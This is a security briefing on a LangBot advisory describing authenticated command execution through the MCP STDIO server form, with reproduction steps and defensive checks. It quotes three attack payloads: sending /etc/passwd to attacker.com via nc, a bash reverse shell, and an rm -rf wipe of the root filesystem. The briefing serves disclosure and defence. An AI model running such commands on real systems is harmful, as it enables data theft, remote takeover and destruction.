AI Security Briefing

What it is

GHSA-3pvh-63gf-j9mw is an authenticated remote code execution flaw in LangBot, classed as CWE-78. The advisory names no CVE id, no affected version range and no patched release.

How it works

LangBot imports StdioServerParameters from the mcp package in src/langbot/pkg/provider/tools/loaders/mcp.py. That class runs a given command as a subprocess on the host. The MCP configuration form passes user-supplied commands to it, and the page describes no allowlist or other validation.

Reproduction steps from the advisory:

1. Open the LangBot server.
2. Go to Extensions.
3. Open the "MCP" tab and press "Add".
4. Choose an STDIO server configuration.
5. Enter any command with arguments.

The advisory's example payloads are data exfiltration, a reverse shell and a destructive wipe:

cat /etc/passwd | nc attacker.com 4444
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
rm -rf / --no-preserve-root

Preconditions / Affected

The attacker needs an authenticated LangBot account. The advisory says an attacker who finds an open server can sign up or log in with stolen credentials, so open registration may remove the authentication barrier. It says publicly reachable instances are affected, as are local instances reachable from the attacker's network (lateral movement). A video proof of concept is attached to the advisory.

What to do

The advisory gives no patch, version boundary or workaround. Until a fix is confirmed, the stated conditions point to these checks:

• Find out whether your instance allows self-registration.
• Review existing MCP entries under Extensions, in the "MCP" tab, for STDIO servers you did not create.
• Limit network exposure of the instance.

Caveats

The advisory links two OX Security posts on MCP supply chain RCE across the AI ecosystem. It presents this as one instance of a wider pattern in MCP's STDIO launch mechanism. Those posts were not fetched, so their details are not covered here.